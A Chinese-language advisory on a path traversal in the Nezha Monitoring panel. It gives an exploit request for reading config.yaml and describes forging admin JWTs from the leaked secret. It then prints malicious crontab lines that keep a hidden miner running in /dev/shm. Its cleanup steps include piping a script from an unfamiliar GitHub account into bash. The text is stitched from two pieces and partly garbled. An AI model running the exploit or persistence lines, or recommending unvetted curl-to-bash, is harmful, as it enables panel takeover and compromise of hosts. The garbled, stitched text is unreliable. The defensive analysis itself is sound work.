哪吒监控面板高危漏洞(CVE-2026-53519)深度分析与修复指南
CVSS 评分:9.1(严重) | 攻击复杂度:低 | 无需任何权限验证
0x01 漏洞概述
2026年6月,安全研究人员公开了哪吒监控面板(Nezha Monitoring)的一个极高危漏洞——CVE-2026-53519。该漏洞是一个未经认证的路径遍历(Path Traversal)漏洞,允许攻击者在无需任何用户名和密码的情况下,直接读取服务器上的任意文件,并进一步伪造管理员身份接管整个面板。
根据官方公告,该漏洞影响 v2.0.13 之前的所有版本,且已在互联网上被大规模扫描利用。
影响范围
-
受影响产品:Nezha Monitoring(哪吒监控面板)
-
受影响版本:v2.0.13 之前的所有版本
-
安全版本:v2.0.13 及后续更新版本
0x02 漏洞原理分析
根本原因:字符串匹配缺陷
该漏洞的核心问题出在 Dashboard 模块的 NoRoute 处理器中。为了处理前端路由,代码使用了 fallbackToFrontend 函数,该函数会检查请求 URL 是否以 /dashboard 开头,如果是则尝试返回对应的静态资源。
然而,漏洞点在于路径匹配使用了字符串前缀(strings.HasPrefix)而非严格的路径段匹配。这导致攻击者可以构造如下恶意请求:
GET /dashboard../data/config.yaml HTTP/1.1 Host: target.com
攻击链拆解
整个攻击过程极为简单,仅需两步即可完全接管面板:
第一步:绕过认证读取敏感文件
-
绕过判断:
strings.HasPrefix检查发现字符串以/dashboard开头,判定为合法前端请求。 -
去除前缀:
strings.TrimPrefix截取后得到../data/config.yaml。 -
路径拼接与归一化:程序执行
path.Join("admin-dist", "../data/config.yaml"),path.Join函数会将路径进行归一化,最终生成为data/config.yaml。 -
文件返回:
os.Stat找到该文件,http.ServeFile直接将其内容返回给攻击者。
通过这一步,攻击者可以轻易获取 /data/config.yaml 文件,其中包含了:
-
数据库连接信息
-
管理员账号与哈希密码
-
JWT 密钥(jwt_secret_key)
-
OAuth2 凭证
第二步:伪造凭证接管面板
虽然管理员密码是哈希加密的,但攻击者可以利用泄露的 jwt_secret_key,使用 HS256 算法自行伪造一个有效的管理员 JWT Cookie。只需知道管理员 ID(通常为 1),攻击者即可实现免密登录,直接获得最高管理员权限,完全控制面板及所有监控节点。
--------
哪吒探针机器的 root crontab 里被植入了以下恶意条目:
* * * * * pgrep -x .kworker_u8 > /dev/null || /dev/shm/.kworker_u8 > /dev/null 2>&1 &
* * * * * pgrep -x .kworker_u8 > /dev/null || /dev/shm/.kworker_u8 > /dev/null 2>&1 &
攻击手法分析
伪装方式:程序名模仿 Linux 内核线程(kworker、rcuop等),并在名字里插入零宽度不可见 Unicode 字符,绕过普通字符串匹配检测。
藏匿位置:挖矿二进制文件放在 /dev/shm/(内存文件系统),重启自动消失,不落盘,极难取证。
持久化方式:通过 crontab 每分钟检查进程是否存活,进程不在就重新启动,实现保活。
入侵途径:哪吒探针已知漏洞,攻击者通过面板远程命令执行功能批量向所有 agent 下发恶意 crontab,所有未禁用命令执行的服务器均受影响。
排查步骤
1. 检查 crontab
crontab -l
查看是否有包含 /dev/shm/ 路径和 pgrep 的可疑条目,名字里可能含有不可见字符。
2. 检查 /dev/shm
ls -la /dev/shm/
查看是否有以点开头的隐藏可执行文件。
3. 检查进程
ps auxf | grep -E '\./|/dev/shm'
或使用哪吒入侵自查脚本一键检测:
bash <(curl -fsSL https://testingcf.jsdelivr.net/gh/heggoodtrefz680-prog/xiadaogu@main/nezha_ioc_check.sh)
4. 查看登录记录
grep 'Accepted password' /var/log/auth.log | tail -20
确认是否有陌生 IP 成功登录。
清理步骤
如果 crontab 里只有恶意条目:
crontab -r
crontab -l # 验证已清空
如果 crontab 里还有正常业务条目,手动删除恶意行:
crontab -e # 找到恶意两行,Ctrl+K 删除,Ctrl+X 保存退出
杀掉内存中仍在运行的挖矿进程:
# 找到 PID
ps auxf | grep '/dev/shm'
# 杀掉
kill -9 <PID>
清理 /dev/shm 下的恶意文件:
find /dev/shm -type f -name '.*' -delete
ls -la /dev/shm/ # 验证已清空
加固措施
1. 禁用哪吒 agent 的命令执行功能
编辑 /opt/nezha/agent/config.yml,添加或修改为:
disable_command_execute: true
注意确保文件里只有一行此配置,不要重复。然后重启 agent:
systemctl restart nezha-agent
2. 升级哪吒 Dashboard
cd /opt/nezha/dashboard
docker compose pull
docker compose up -d
3. 禁用 SSH 密码登录
⚠️ 执行前确认已配置好密钥登录,否则会把自己锁在外面。
sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd
4. 收紧安全组规则
在云控制台安全组:
- SSH(22 端口)限制为只允许自己的 IP 访问
- MySQL(3306 端口)不对公网开放
方管修复方案
方案一:立即升级(推荐,最彻底)
《重装系统》《重装系统》《重装系统》《重装系统》
官方已在 v2.0.13 版本中修复了此漏洞。修复方式是在 filepath.Join 后增加了 filepath.Abs 获取绝对路径,并使用 strings.HasPrefix(absPath, safeDirAdmin) 严格验证路径是否在允许的目录范围内,超出则返回 400 错误-5。
操作步骤:
-
登录服务器,执行官方提供的更新脚本或使用 Docker 拉取最新镜像。
-
务必确保后端面板和 Agent 均升级到一致的最新版本。
-
建议开启自动更新功能
# 以 Docker 部署为例 docker pull nezhahq/nezha-dashboard:latest docker-compose down && docker-compose up -d
总结
这次入侵的核心教训是:哪吒探针的命令执行功能(disable_command_execute)默认开启,一旦面板被攻破,所有 agent 都会沦陷。建议所有哪吒用户立即检查并关闭此功能,同时升级面板到最新版本。
参考链接:
相关文档
评论与补充0
有问题或想补充的,写在下面 · 选中正文文字再点「报告错误」会自动引用还没有评论。有疑问、补充,或者发现错字,都可以写在下面。